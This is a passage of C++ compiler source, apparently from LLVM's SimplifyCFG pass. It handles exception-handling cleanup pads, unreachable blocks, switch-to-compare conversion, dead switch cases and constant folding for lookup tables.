// If no trivial unwind blocks, don't do any simplifications.
if (TrivialUnwindBlocks.empty())
return false;
// Turn all invokes that unwind here into calls.
for (auto *TrivialBB : TrivialUnwindBlocks) {
// Blocks that will be simplified should be removed from the phi node.
// Note there could be multiple edges to the resume block, and we need
// to remove them all.
while (PhiLPInst->getBasicBlockIndex(TrivialBB) != -1)
BB->removePredecessor(TrivialBB, true);
for (pred_iterator PI = pred_begin(TrivialBB), PE = pred_end(TrivialBB);
PI != PE;) {
BasicBlock *Pred = *PI++;
removeUnwindEdge(Pred);
}
// In each SimplifyCFG run, only the current processed block can be erased.
// Otherwise, it will break the iteration of SimplifyCFG pass. So instead
// of erasing TrivialBB, we only remove the branch to the common resume
// block so that we can later erase the resume block since it has no
// predecessors.
TrivialBB->getTerminator()->eraseFromParent();
new UnreachableInst(RI->getContext(), TrivialBB);
}
// Delete the resume block if all its predecessors have been removed.
if (pred_empty(BB))
BB->eraseFromParent();
return !TrivialUnwindBlocks.empty();
}
// Simplify resume that is only used by a single (non-phi) landing pad.
bool SimplifyCFGOpt::SimplifySingleResume(ResumeInst *RI) {
BasicBlock *BB = RI->getParent();
LandingPadInst *LPInst = dyn_cast<LandingPadInst>(BB->getFirstNonPHI());
assert(RI->getValue() == LPInst &&
"Resume must unwind the exception that caused control to here");
// Check that there are no other instructions except for debug intrinsics.
BasicBlock::iterator I = LPInst->getIterator(), E = RI->getIterator();
while (++I != E)
if (!isa<DbgInfoIntrinsic>(I))
return false;
// Turn all invokes that unwind here into calls and delete the basic block.
for (pred_iterator PI = pred_begin(BB), PE = pred_end(BB); PI != PE;) {
BasicBlock *Pred = *PI++;
removeUnwindEdge(Pred);
}
// The landingpad is now unreachable. Zap it.
if (LoopHeaders)
LoopHeaders->erase(BB);
BB->eraseFromParent();
return true;
}
static bool removeEmptyCleanup(CleanupReturnInst *RI) {
// If this is a trivial cleanup pad that executes no instructions, it can be
// eliminated. If the cleanup pad continues to the caller, any predecessor
// that is an EH pad will be updated to continue to the caller and any
// predecessor that terminates with an invoke instruction will have its invoke
// instruction converted to a call instruction. If the cleanup pad being
// simplified does not continue to the caller, each predecessor will be
// updated to continue to the unwind destination of the cleanup pad being
// simplified.
BasicBlock *BB = RI->getParent();
CleanupPadInst *CPInst = RI->getCleanupPad();
if (CPInst->getParent() != BB)
// This isn't an empty cleanup.
return false;
// We cannot kill the pad if it has multiple uses. This typically arises
// from unreachable basic blocks.
if (!CPInst->hasOneUse())
return false;
// Check that there are no other instructions except for benign intrinsics.
BasicBlock::iterator I = CPInst->getIterator(), E = RI->getIterator();
while (++I != E) {
auto *II = dyn_cast<IntrinsicInst>(I);
if (!II)
return false;
Intrinsic::ID IntrinsicID = II->getIntrinsicID();
switch (IntrinsicID) {
case Intrinsic::dbg_declare:
case Intrinsic::dbg_value:
case Intrinsic::dbg_label:
case Intrinsic::lifetime_end:
break;
default:
return false;
}
}
// If the cleanup return we are simplifying unwinds to the caller, this will
// set UnwindDest to nullptr.
BasicBlock *UnwindDest = RI->getUnwindDest();
Instruction *DestEHPad = UnwindDest ? UnwindDest->getFirstNonPHI() : nullptr;
// We're about to remove BB from the control flow. Before we do, sink any
// PHINodes into the unwind destination. Doing this before changing the
// control flow avoids some potentially slow checks, since we can currently
// be certain that UnwindDest and BB have no common predecessors (since they
// are both EH pads).
if (UnwindDest) {
// First, go through the PHI nodes in UnwindDest and update any nodes that
// reference the block we are removing
for (BasicBlock::iterator I = UnwindDest->begin(),
IE = DestEHPad->getIterator();
I != IE; ++I) {
PHINode *DestPN = cast<PHINode>(I);
int Idx = DestPN->getBasicBlockIndex(BB);
// Since BB unwinds to UnwindDest, it has to be in the PHI node.
assert(Idx != -1);
// This PHI node has an incoming value that corresponds to a control
// path through the cleanup pad we are removing. If the incoming
// value is in the cleanup pad, it must be a PHINode (because we
// verified above that the block is otherwise empty). Otherwise, the
// value is either a constant or a value that dominates the cleanup
// pad being removed.
//
// Because BB and UnwindDest are both EH pads, all of their
// predecessors must unwind to these blocks, and since no instruction
// can have multiple unwind destinations, there will be no overlap in
// incoming blocks between SrcPN and DestPN.
Value *SrcVal = DestPN->getIncomingValue(Idx);
PHINode *SrcPN = dyn_cast<PHINode>(SrcVal);
// Remove the entry for the block we are deleting.
DestPN->removeIncomingValue(Idx, false);
if (SrcPN && SrcPN->getParent() == BB) {
// If the incoming value was a PHI node in the cleanup pad we are
// removing, we need to merge that PHI node's incoming values into
// DestPN.
for (unsigned SrcIdx = 0, SrcE = SrcPN->getNumIncomingValues();
SrcIdx != SrcE; ++SrcIdx) {
DestPN->addIncoming(SrcPN->getIncomingValue(SrcIdx),
SrcPN->getIncomingBlock(SrcIdx));
}
} else {
// Otherwise, the incoming value came from above BB and
// so we can just reuse it. We must associate all of BB's
// predecessors with this value.
for (auto *pred : predecessors(BB)) {
DestPN->addIncoming(SrcVal, pred);
}
}
}
// Sink any remaining PHI nodes directly into UnwindDest.
Instruction *InsertPt = DestEHPad;
for (BasicBlock::iterator I = BB->begin(),
IE = BB->getFirstNonPHI()->getIterator();
I != IE;) {
// The iterator must be incremented here because the instructions are
// being moved to another block.
PHINode *PN = cast<PHINode>(I++);
if (PN->use_empty())
// If the PHI node has no uses, just leave it. It will be erased
// when we erase BB below.
continue;
// Otherwise, sink this PHI node into UnwindDest.
// Any predecessors to UnwindDest which are not already represented
// must be back edges which inherit the value from the path through
// BB. In this case, the PHI value must reference itself.
for (auto *pred : predecessors(UnwindDest))
if (pred != BB)
PN->addIncoming(PN, pred);
PN->moveBefore(InsertPt);
}
}
for (pred_iterator PI = pred_begin(BB), PE = pred_end(BB); PI != PE;) {
// The iterator must be updated here because we are removing this pred.
BasicBlock *PredBB = *PI++;
if (UnwindDest == nullptr) {
removeUnwindEdge(PredBB);
} else {
Instruction *TI = PredBB->getTerminator();
TI->replaceUsesOfWith(BB, UnwindDest);
}
}
// The cleanup pad is now unreachable. Zap it.
BB->eraseFromParent();
return true;
}
// Try to merge two cleanuppads together.
static bool mergeCleanupPad(CleanupReturnInst *RI) {
// Skip any cleanuprets which unwind to caller, there is nothing to merge
// with.
BasicBlock *UnwindDest = RI->getUnwindDest();
if (!UnwindDest)
return false;
// This cleanupret isn't the only predecessor of this cleanuppad, it wouldn't
// be safe to merge without code duplication.
if (UnwindDest->getSinglePredecessor() != RI->getParent())
return false;
// Verify that our cleanuppad's unwind destination is another cleanuppad.
auto *SuccessorCleanupPad = dyn_cast<CleanupPadInst>(&UnwindDest->front());
if (!SuccessorCleanupPad)
return false;
CleanupPadInst *PredecessorCleanupPad = RI->getCleanupPad();
// Replace any uses of the successor cleanupad with the predecessor pad
// The only cleanuppad uses should be this cleanupret, it's cleanupret and
// funclet bundle operands.
SuccessorCleanupPad->replaceAllUsesWith(PredecessorCleanupPad);
// Remove the old cleanuppad.
SuccessorCleanupPad->eraseFromParent();
// Now, we simply replace the cleanupret with a branch to the unwind
// destination.
BranchInst::Create(UnwindDest, RI->getParent());
RI->eraseFromParent();
return true;
}
bool SimplifyCFGOpt::SimplifyCleanupReturn(CleanupReturnInst *RI) {
// It is possible to transiantly have an undef cleanuppad operand because we
// have deleted some, but not all, dead blocks.
// Eventually, this block will be deleted.
if (isa<UndefValue>(RI->getOperand(0)))
return false;
if (mergeCleanupPad(RI))
return true;
if (removeEmptyCleanup(RI))
return true;
return false;
}
bool SimplifyCFGOpt::SimplifyReturn(ReturnInst *RI, IRBuilder<> &Builder) {
BasicBlock *BB = RI->getParent();
if (!BB->getFirstNonPHIOrDbg()->isTerminator())
return false;
// Find predecessors that end with branches.
SmallVector<BasicBlock *, 8> UncondBranchPreds;
SmallVector<BranchInst *, 8> CondBranchPreds;
for (pred_iterator PI = pred_begin(BB), E = pred_end(BB); PI != E; ++PI) {
BasicBlock *P = *PI;
Instruction *PTI = P->getTerminator();
if (BranchInst *BI = dyn_cast<BranchInst>(PTI)) {
if (BI->isUnconditional())
UncondBranchPreds.push_back(P);
else
CondBranchPreds.push_back(BI);
}
}
// If we found some, do the transformation!
if (!UncondBranchPreds.empty() && DupRet) {
while (!UncondBranchPreds.empty()) {
BasicBlock *Pred = UncondBranchPreds.pop_back_val();
LLVM_DEBUG(dbgs() << "FOLDING: " << *BB
<< "INTO UNCOND BRANCH PRED: " << *Pred);
(void)FoldReturnIntoUncondBranch(RI, BB, Pred);
}
// If we eliminated all predecessors of the block, delete the block now.
if (pred_empty(BB)) {
// We know there are no successors, so just nuke the block.
if (LoopHeaders)
LoopHeaders->erase(BB);
BB->eraseFromParent();
}
return true;
}
// Check out all of the conditional branches going to this return
// instruction. If any of them just select between returns, change the
// branch itself into a select/return pair.
while (!CondBranchPreds.empty()) {
BranchInst *BI = CondBranchPreds.pop_back_val();
// Check to see if the non-BB successor is also a return block.
if (isa<ReturnInst>(BI->getSuccessor(0)->getTerminator()) &&
isa<ReturnInst>(BI->getSuccessor(1)->getTerminator()) &&
SimplifyCondBranchToTwoReturns(BI, Builder))
return true;
}
return false;
}
bool SimplifyCFGOpt::SimplifyUnreachable(UnreachableInst *UI) {
BasicBlock *BB = UI->getParent();
bool Changed = false;
// If there are any instructions immediately before the unreachable that can
// be removed, do so.
while (UI->getIterator() != BB->begin()) {
BasicBlock::iterator BBI = UI->getIterator();
--BBI;
// Do not delete instructions that can have side effects which might cause
// the unreachable to not be reachable; specifically, calls and volatile
// operations may have this effect.
if (isa<CallInst>(BBI) && !isa<DbgInfoIntrinsic>(BBI))
break;
if (BBI->mayHaveSideEffects()) {
if (auto *SI = dyn_cast<StoreInst>(BBI)) {
if (SI->isVolatile())
break;
} else if (auto *LI = dyn_cast<LoadInst>(BBI)) {
if (LI->isVolatile())
break;
} else if (auto *RMWI = dyn_cast<AtomicRMWInst>(BBI)) {
if (RMWI->isVolatile())
break;
} else if (auto *CXI = dyn_cast<AtomicCmpXchgInst>(BBI)) {
if (CXI->isVolatile())
break;
} else if (isa<CatchPadInst>(BBI)) {
// A catchpad may invoke exception object constructors and such, which
// in some languages can be arbitrary code, so be conservative by
// default.
// For CoreCLR, it just involves a type test, so can be removed.
if (classifyEHPersonality(BB->getParent()->getPersonalityFn()) !=
EHPersonality::CoreCLR)
break;
} else if (!isa<FenceInst>(BBI) && !isa<VAArgInst>(BBI) &&
!isa<LandingPadInst>(BBI)) {
break;
}
// Note that deleting LandingPad's here is in fact okay, although it
// involves a bit of subtle reasoning. If this inst is a LandingPad,
// all the predecessors of this block will be the unwind edges of Invokes,
// and we can therefore guarantee this block will be erased.
}
// Delete this instruction (any uses are guaranteed to be dead)
if (!BBI->use_empty())
BBI->replaceAllUsesWith(UndefValue::get(BBI->getType()));
BBI->eraseFromParent();
Changed = true;
}
// If the unreachable instruction is the first in the block, take a gander
// at all of the predecessors of this instruction, and simplify them.
if (&BB->front() != UI)
return Changed;
SmallVector<BasicBlock *, 8> Preds(pred_begin(BB), pred_end(BB));
for (unsigned i = 0, e = Preds.size(); i != e; ++i) {
Instruction *TI = Preds[i]->getTerminator();
IRBuilder<> Builder(TI);
if (auto *BI = dyn_cast<BranchInst>(TI)) {
if (BI->isUnconditional()) {
if (BI->getSuccessor(0) == BB) {
new UnreachableInst(TI->getContext(), TI);
TI->eraseFromParent();
Changed = true;
}
} else {
Value* Cond = BI->getCondition();
if (BI->getSuccessor(0) == BB) {
Builder.CreateAssumption(Builder.CreateNot(Cond));
Builder.CreateBr(BI->getSuccessor(1));
EraseTerminatorAndDCECond(BI);
} else if (BI->getSuccessor(1) == BB) {
Builder.CreateAssumption(Cond);
Builder.CreateBr(BI->getSuccessor(0));
EraseTerminatorAndDCECond(BI);
Changed = true;
}
}
} else if (auto *SI = dyn_cast<SwitchInst>(TI)) {
SwitchInstProfUpdateWrapper SU(*SI);
for (auto i = SU->case_begin(), e = SU->case_end(); i != e;) {
if (i->getCaseSuccessor() != BB) {
++i;
continue;
}
BB->removePredecessor(SU->getParent());
i = SU.removeCase(i);
e = SU->case_end();
Changed = true;
}
} else if (auto *II = dyn_cast<InvokeInst>(TI)) {
if (II->getUnwindDest() == BB) {
removeUnwindEdge(TI->getParent());
Changed = true;
}
} else if (auto *CSI = dyn_cast<CatchSwitchInst>(TI)) {
if (CSI->getUnwindDest() == BB) {
removeUnwindEdge(TI->getParent());
Changed = true;
continue;
}
for (CatchSwitchInst::handler_iterator I = CSI->handler_begin(),
E = CSI->handler_end();
I != E; ++I) {
if (*I == BB) {
CSI->removeHandler(I);
--I;
--E;
Changed = true;
}
}
if (CSI->getNumHandlers() == 0) {
BasicBlock *CatchSwitchBB = CSI->getParent();
if (CSI->hasUnwindDest()) {
// Redirect preds to the unwind dest
CatchSwitchBB->replaceAllUsesWith(CSI->getUnwindDest());
} else {
// Rewrite all preds to unwind to caller (or from invoke to call).
SmallVector<BasicBlock *, 8> EHPreds(predecessors(CatchSwitchBB));
for (BasicBlock *EHPred : EHPreds)
removeUnwindEdge(EHPred);
}
// The catchswitch is no longer reachable.
new UnreachableInst(CSI->getContext(), CSI);
CSI->eraseFromParent();
Changed = true;
}
} else if (isa<CleanupReturnInst>(TI)) {
new UnreachableInst(TI->getContext(), TI);
TI->eraseFromParent();
Changed = true;
}
}
// If this block is now dead, remove it.
if (pred_empty(BB) && BB != &BB->getParent()->getEntryBlock()) {
// We know there are no successors, so just nuke the block.
if (LoopHeaders)
LoopHeaders->erase(BB);
BB->eraseFromParent();
return true;
}
return Changed;
}
static bool CasesAreContiguous(SmallVectorImpl<ConstantInt *> &Cases) {
assert(Cases.size() >= 1);
array_pod_sort(Cases.begin(), Cases.end(), ConstantIntSortPredicate);
for (size_t I = 1, E = Cases.size(); I != E; ++I) {
if (Cases[I - 1]->getValue() != Cases[I]->getValue() + 1)
return false;
}
return true;
}
/// Turn a switch with two reachable destinations into an integer range
/// comparison and branch.
static bool TurnSwitchRangeIntoICmp(SwitchInst *SI, IRBuilder<> &Builder) {
assert(SI->getNumCases() > 1 && "Degenerate switch?");
bool HasDefault =
!isa<UnreachableInst>(SI->getDefaultDest()->getFirstNonPHIOrDbg());
// Partition the cases into two sets with different destinations.
BasicBlock *DestA = HasDefault ? SI->getDefaultDest() : nullptr;
BasicBlock *DestB = nullptr;
SmallVector<ConstantInt *, 16> CasesA;
SmallVector<ConstantInt *, 16> CasesB;
for (auto Case : SI->cases()) {
BasicBlock *Dest = Case.getCaseSuccessor();
if (!DestA)
DestA = Dest;
if (Dest == DestA) {
CasesA.push_back(Case.getCaseValue());
continue;
}
if (!DestB)
DestB = Dest;
if (Dest == DestB) {
CasesB.push_back(Case.getCaseValue());
continue;
}
return false; // More than two destinations.
}
assert(DestA && DestB &&
"Single-destination switch should have been folded.");
assert(DestA != DestB);
assert(DestB != SI->getDefaultDest());
assert(!CasesB.empty() && "There must be non-default cases.");
assert(!CasesA.empty() || HasDefault);
// Figure out if one of the sets of cases form a contiguous range.
SmallVectorImpl<ConstantInt *> *ContiguousCases = nullptr;
BasicBlock *ContiguousDest = nullptr;
BasicBlock *OtherDest = nullptr;
if (!CasesA.empty() && CasesAreContiguous(CasesA)) {
ContiguousCases = &CasesA;
ContiguousDest = DestA;
OtherDest = DestB;
} else if (CasesAreContiguous(CasesB)) {
ContiguousCases = &CasesB;
ContiguousDest = DestB;
OtherDest = DestA;
} else
return false;
// Start building the compare and branch.
Constant *Offset = ConstantExpr::getNeg(ContiguousCases->back());
Constant *NumCases =
ConstantInt::get(Offset->getType(), ContiguousCases->size());
Value *Sub = SI->getCondition();
if (!Offset->isNullValue())
Sub = Builder.CreateAdd(Sub, Offset, Sub->getName() + ".off");
Value *Cmp;
// If NumCases overflowed, then all possible values jump to the successor.
if (NumCases->isNullValue() && !ContiguousCases->empty())
Cmp = ConstantInt::getTrue(SI->getContext());
else
Cmp = Builder.CreateICmpULT(Sub, NumCases, "switch");
BranchInst *NewBI = Builder.CreateCondBr(Cmp, ContiguousDest, OtherDest);
// Update weight for the newly-created conditional branch.
if (HasBranchWeights(SI)) {
SmallVector<uint64_t, 8> Weights;
GetBranchWeights(SI, Weights);
if (Weights.size() == 1 + SI->getNumCases()) {
uint64_t TrueWeight = 0;
uint64_t FalseWeight = 0;
for (size_t I = 0, E = Weights.size(); I != E; ++I) {
if (SI->getSuccessor(I) == ContiguousDest)
TrueWeight += Weights[I];
else
FalseWeight += Weights[I];
}
while (TrueWeight > UINT32_MAX || FalseWeight > UINT32_MAX) {
TrueWeight /= 2;
FalseWeight /= 2;
}
setBranchWeights(NewBI, TrueWeight, FalseWeight);
}
}
// Prune obsolete incoming values off the successors' PHI nodes.
for (auto BBI = ContiguousDest->begin(); isa<PHINode>(BBI); ++BBI) {
unsigned PreviousEdges = ContiguousCases->size();
if (ContiguousDest == SI->getDefaultDest())
++PreviousEdges;
for (unsigned I = 0, E = PreviousEdges - 1; I != E; ++I)
cast<PHINode>(BBI)->removeIncomingValue(SI->getParent());
}
for (auto BBI = OtherDest->begin(); isa<PHINode>(BBI); ++BBI) {
unsigned PreviousEdges = SI->getNumCases() - ContiguousCases->size();
if (OtherDest == SI->getDefaultDest())
++PreviousEdges;
for (unsigned I = 0, E = PreviousEdges - 1; I != E; ++I)
cast<PHINode>(BBI)->removeIncomingValue(SI->getParent());
}
// Drop the switch.
SI->eraseFromParent();
return true;
}
/// Compute masked bits for the condition of a switch
/// and use it to remove dead cases.
static bool eliminateDeadSwitchCases(SwitchInst *SI, AssumptionCache *AC,
const DataLayout &DL) {
Value *Cond = SI->getCondition();
unsigned Bits = Cond->getType()->getIntegerBitWidth();
KnownBits Known = computeKnownBits(Cond, DL, 0, AC, SI);
// We can also eliminate cases by determining that their values are outside of
// the limited range of the condition based on how many significant (non-sign)
// bits are in the condition value.
unsigned ExtraSignBits = ComputeNumSignBits(Cond, DL, 0, AC, SI) - 1;
unsigned MaxSignificantBitsInCond = Bits - ExtraSignBits;
// Gather dead cases.
SmallVector<ConstantInt *, 8> DeadCases;
for (auto &Case : SI->cases()) {
const APInt &CaseVal = Case.getCaseValue()->getValue();
if (Known.Zero.intersects(CaseVal) || !Known.One.isSubsetOf(CaseVal) ||
(CaseVal.getMinSignedBits() > MaxSignificantBitsInCond)) {
DeadCases.push_back(Case.getCaseValue());
LLVM_DEBUG(dbgs() << "SimplifyCFG: switch case " << CaseVal
<< " is dead.\n");
}
}
// If we can prove that the cases must cover all possible values, the
// default destination becomes dead and we can remove it. If we know some
// of the bits in the value, we can use that to more precisely compute the
// number of possible unique case values.
bool HasDefault =
!isa<UnreachableInst>(SI->getDefaultDest()->getFirstNonPHIOrDbg());
const unsigned NumUnknownBits =
Bits - (Known.Zero | Known.One).countPopulation();
assert(NumUnknownBits <= Bits);
if (HasDefault && DeadCases.empty() &&
NumUnknownBits < 64 /* avoid overflow */ &&
SI->getNumCases() == (1ULL << NumUnknownBits)) {
LLVM_DEBUG(dbgs() << "SimplifyCFG: switch default is dead.\n");
BasicBlock *NewDefault =
SplitBlockPredecessors(SI->getDefaultDest(), SI->getParent(), "");
SI->setDefaultDest(&*NewDefault);
SplitBlock(&*NewDefault, &NewDefault->front());
auto *OldTI = NewDefault->getTerminator();
new UnreachableInst(SI->getContext(), OldTI);
EraseTerminatorAndDCECond(OldTI);
return true;
}
if (DeadCases.empty())
return false;
SwitchInstProfUpdateWrapper SIW(*SI);
for (ConstantInt *DeadCase : DeadCases) {
SwitchInst::CaseIt CaseI = SI->findCaseValue(DeadCase);
assert(CaseI != SI->case_default() &&
"Case was not found. Probably mistake in DeadCases forming.");
// Prune unused values from PHI nodes.
CaseI->getCaseSuccessor()->removePredecessor(SI->getParent());
SIW.removeCase(CaseI);
}
return true;
}
/// If BB would be eligible for simplification by
/// TryToSimplifyUncondBranchFromEmptyBlock (i.e. it is empty and terminated
/// by an unconditional branch), look at the phi node for BB in the successor
/// block and see if the incoming value is equal to CaseValue. If so, return
/// the phi node, and set PhiIndex to BB's index in the phi node.
static PHINode *FindPHIForConditionForwarding(ConstantInt *CaseValue,
BasicBlock *BB, int *PhiIndex) {
if (BB->getFirstNonPHIOrDbg() != BB->getTerminator())
return nullptr; // BB must be empty to be a candidate for simplification.
if (!BB->getSinglePredecessor())
return nullptr; // BB must be dominated by the switch.
BranchInst *Branch = dyn_cast<BranchInst>(BB->getTerminator());
if (!Branch || !Branch->isUnconditional())
return nullptr; // Terminator must be unconditional branch.
BasicBlock *Succ = Branch->getSuccessor(0);
for (PHINode &PHI : Succ->phis()) {
int Idx = PHI.getBasicBlockIndex(BB);
assert(Idx >= 0 && "PHI has no entry for predecessor?");
Value *InValue = PHI.getIncomingValue(Idx);
if (InValue != CaseValue)
continue;
*PhiIndex = Idx;
return &PHI;
}
return nullptr;
}
/// Try to forward the condition of a switch instruction to a phi node
/// dominated by the switch, if that would mean that some of the destination
/// blocks of the switch can be folded away. Return true if a change is made.
static bool ForwardSwitchConditionToPHI(SwitchInst *SI) {
using ForwardingNodesMap = DenseMap<PHINode *, SmallVector<int, 4>>;
ForwardingNodesMap ForwardingNodes;
BasicBlock *SwitchBlock = SI->getParent();
bool Changed = false;
for (auto &Case : SI->cases()) {
ConstantInt *CaseValue = Case.getCaseValue();
BasicBlock *CaseDest = Case.getCaseSuccessor();
// Replace phi operands in successor blocks that are using the constant case
// value rather than the switch condition variable:
// switchbb:
// switch i32 %x, label %default [
// i32 17, label %succ
// ...
// succ:
// %r = phi i32 ... [ 17, %switchbb ] ...
// -->
// %r = phi i32 ... [ %x, %switchbb ] ...
for (PHINode &Phi : CaseDest->phis()) {
// This only works if there is exactly 1 incoming edge from the switch to
// a phi. If there is >1, that means multiple cases of the switch map to 1
// value in the phi, and that phi value is not the switch condition. Thus,
// this transform would not make sense (the phi would be invalid because
// a phi can't have different incoming values from the same block).
int SwitchBBIdx = Phi.getBasicBlockIndex(SwitchBlock);
if (Phi.getIncomingValue(SwitchBBIdx) == CaseValue &&
count(Phi.blocks(), SwitchBlock) == 1) {
Phi.setIncomingValue(SwitchBBIdx, SI->getCondition());
Changed = true;
}
}
// Collect phi nodes that are indirectly using this switch's case constants.
int PhiIdx;
if (auto *Phi = FindPHIForConditionForwarding(CaseValue, CaseDest, &PhiIdx))
ForwardingNodes[Phi].push_back(PhiIdx);
}
for (auto &ForwardingNode : ForwardingNodes) {
PHINode *Phi = ForwardingNode.first;
SmallVectorImpl<int> &Indexes = ForwardingNode.second;
if (Indexes.size() < 2)
continue;
for (int Index : Indexes)
Phi->setIncomingValue(Index, SI->getCondition());
Changed = true;
}
return Changed;
}
/// Return true if the backend will be able to handle
/// initializing an array of constants like C.
static bool ValidLookupTableConstant(Constant *C, const TargetTransformInfo &TTI) {
if (C->isThreadDependent())
return false;
if (C->isDLLImportDependent())
return false;
if (!isa<ConstantFP>(C) && !isa<ConstantInt>(C) &&
!isa<ConstantPointerNull>(C) && !isa<GlobalValue>(C) &&
!isa<UndefValue>(C) && !isa<ConstantExpr>(C))
return false;
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(C)) {
if (!CE->isGEPWithNoNotionalOverIndexing())
return false;
if (!ValidLookupTableConstant(CE->getOperand(0), TTI))
return false;
}
if (!TTI.shouldBuildLookupTablesForConstant(C))
return false;
return true;
}
/// If V is a Constant, return it. Otherwise, try to look up
/// its constant value in ConstantPool, returning 0 if it's not there.
static Constant *
LookupConstant(Value *V,
const SmallDenseMap<Value *, Constant *> &ConstantPool) {
if (Constant *C = dyn_cast<Constant>(V))
return C;
return ConstantPool.lookup(V);
}
/// Try to fold instruction I into a constant. This works for
/// simple instructions such as binary operations where both operands are
/// constant or can be replaced by constants from the ConstantPool. Returns the
/// resulting constant on success, 0 otherwise.
static Constant *
ConstantFold(Instruction *I, const DataLayout &DL,
const SmallDenseMap<Value *, Constant *> &ConstantPool) {
if (SelectInst *Select = dyn_cast<SelectInst>(I)) {
Constant *A = LookupConstant(Select->getCondition(), ConstantPool);
if (!A)
return nullptr;
if (A->isAllOnesValue())
return LookupConstant(Select->getTrueValue(), ConstantPool);
if (A->isNullValue())
return LookupConstant(Select->getFalseValue(), ConstantPool);
return nullptr;
}
SmallVector<Constant *, 4> COps;
for (unsigned N = 0, E = I->getNumOperands(); N != E; ++N) {
if (Constant *A = LookupConstant(I->getOperand(N), ConstantPool))
COps.push_back(A);
else
return nullptr;
}
if (CmpInst *Cmp = dyn_cast<CmpInst>(I)) {
return ConstantFoldCompareInstOperands(Cmp->getPredicate(), COps[0],
COps[1], DL);
}
return ConstantFoldInstOperands(I, COps, DL);
}
/// Try to determine the resulting constant values in phi nodes
/// at the common destination basic block, *CommonDest, for one of the case
/// destionations CaseDest corresponding to value CaseVal (0 for the default
/// case), of a switch instruction SI.
static bool
GetCaseResults(SwitchInst *SI, ConstantInt *CaseVal, BasicBlock *CaseDest,
BasicBlock **CommonDest,
SmallVectorImpl<std::pair<PHINode *, Constant *>> &Res,
const DataLayout &DL, const TargetTransformInfo &TTI) {
// The block from which we enter the common destination.
BasicBlock *Pred = SI->getParent();
// If CaseDest is empty except for some side-effect free instructions through
// which we can constant-propagate the CaseVal, continue to its successor.
SmallDenseMap<Value *, Constant *> ConstantPool;
ConstantPool.insert(std::make_pair(SI->getCondition(), CaseVal));
for (Instruction &I :CaseDest->instructionsWithoutDebug()) {
if (I.isTerminator()) {
// If the terminator is a simple branch, continue to the next block.
if (I.getNumSuccessors() != 1 || I.isExceptionalTerminator())
return false;
Pred = CaseDest;
CaseDest = I.getSuccessor(0);
} else if (Constant *C = ConstantFold(&I, DL, ConstantPool)) {
// Instruction is side-effect free and constant.
// If the instruction has uses outside this block or a phi node slot for
// the block, it is not safe to bypass the instruction since it would then
// no longer dominate all its uses.
for (auto &Use : I.uses()) {
User *User = Use.getUser();
if (Instruction *I = dyn_cast<Instruction>(User))
if (I->getParent() == CaseDest)
continue;
if (PHINode *Phi = dyn_cast<PHINode>(User))
if (Phi->getIncomingBlock(Use) == CaseDest)
continue;
return false;
}
ConstantPool.insert(std::make_pair(&I, C));
} else {
break;
}
}
// If we did not have a CommonDest before, use the current one.
if (!*CommonDest)
*CommonDest = CaseDest;
// If the destination isn't the common one, abort.
if (CaseDest != *CommonDest)
return false;
// Get the values for this case from phi nodes in the destination block.
for (PHINode &PHI : (*CommonDest)->phis()) {
int Idx = PHI.getBasicBlockIndex(Pred);
if (Idx == -1)
continue;
Constant *ConstVal =
LookupConstant(PHI.getIncomingValue(Idx), ConstantPool);
if (!ConstVal)
return false;
// Be conservative about which kinds of constants we support.
if (!ValidLookupTableConstant(ConstVal, TTI))
return false;
Res.push_back(std::make_pair(&PHI, ConstVal));
}
return Res.size() > 0;
}
// Helper function used to add CaseVal to the list of cases that generate
// Result. Returns the updated number of cases that generate this result.
static uintptr_t MapCaseToResult(ConstantInt *CaseVal,
SwitchCaseResultVectorTy &UniqueResults,
Constant *Result) {
for (auto &I : UniqueResults) {
if (I.first == Result) {
I.second.push_back(CaseVal);
return I.second.size();
}
}
UniqueResults.push_back(
std::make_pair(Result, SmallVector<ConstantInt *, 4>(1, CaseVal)));
return 1;
}
// Helper function that initializes a map containing
// results for the PHI node of the common destination block for a switch
// instruction. Returns false if multiple PHI nodes have been found or if
// there is not a common destination block for the switch.
static bool
InitializeUniqueCases(SwitchInst *SI, PHINode *&PHI, BasicBlock *&CommonDest,
SwitchCaseResultVectorTy &UniqueResults,
Constant *&DefaultResult, const DataLayout &DL,
const TargetTransformInfo &TTI,
uintptr_t MaxUniqueResults, uintptr_t MaxCasesPerResult) {
for (auto &I : SI->cases()) {
ConstantInt *CaseVal = I.getCaseValue();
// Resulting value at phi nodes for this case value.
SwitchCaseResultsTy Results;
if (!GetCaseResults(SI, CaseVal, I.getCaseSuccessor(), &CommonDest, Results,
DL, TTI))
return false;
// Only one value per case is permitted.
if (Results.size() > 1)
return false;
// Add the case->result mapping to UniqueResults.
const uintptr_t NumCasesForResult =
MapCaseToResult(CaseVal, UniqueResults, Results.begin()->second);
// Early out if there are too many cases for this result.
if (NumCasesForResult > MaxCasesPerResult)
return false;
// Early out if there are too many unique results.
if (UniqueResults.size() > MaxUniqueResults)
return false;
// Check the PHI consistency.
if (!PHI)
PHI = Results[0].first;
else if (PHI != Results[0].first)
return false;
}
// Find the default result value.
SmallVector<std::pair<PHINode *, Constant *>, 1> DefaultResults;
BasicBlock *DefaultDest = SI->getDefaultDest();
GetCaseResults(SI, nullptr, SI->getDefaultDest(), &CommonDest, DefaultResults,
DL, TTI);
// If the default value is not found abort unless the default destination
// is unreachable.
DefaultResult =
DefaultResults.size() == 1 ? DefaultResults.begin()->second : nullptr;
if ((!DefaultResult &&
!isa<UnreachableInst>(DefaultDest->getFirstNonPHIOrDbg())))
return false;
return true;
}
// Helper function that checks if it is possible to transform a switch with only
// two cases (or two cases + default) that produces a result into a select.
// Example:
// switch (a) {
// case 10: %0 = icmp eq i32 %a, 10
// return 10; %1 = select i1 %0, i32 10, i32 4
// case 20: ----> %2 = icmp eq i32 %a, 20
// return 2; %3 = select i1 %2, i32 2, i32 %1
// default:
// return 4;
// }
static Value *ConvertTwoCaseSwitch(const SwitchCaseResultVectorTy &ResultVector,
Constant *DefaultResult, Value *Condition,
IRBuilder<> &Builder) {
assert(ResultVector.size() == 2 &&
"We should have exactly two unique results at this point");
// If we are selecting between only two cases transform into a simple
// select or a two-way select if default is possible.
if (ResultVector[0].second.size() == 1 &&
ResultVector[1].second.size() == 1) {
ConstantInt *const FirstCase = ResultVector[0].second[0];
ConstantInt *const SecondCase = ResultVector[1].second[0];
bool DefaultCanTrigger = DefaultResult;
Value *SelectValue = ResultVector[1].first;
if (DefaultCanTrigger) {
Value *const ValueCompare =
Builder.CreateICmpEQ(Condition, SecondCase, "switch.selectcmp");
SelectValue = Builder.CreateSelect(ValueCompare, ResultVector[1].first,
DefaultResult, "switch.select");
}
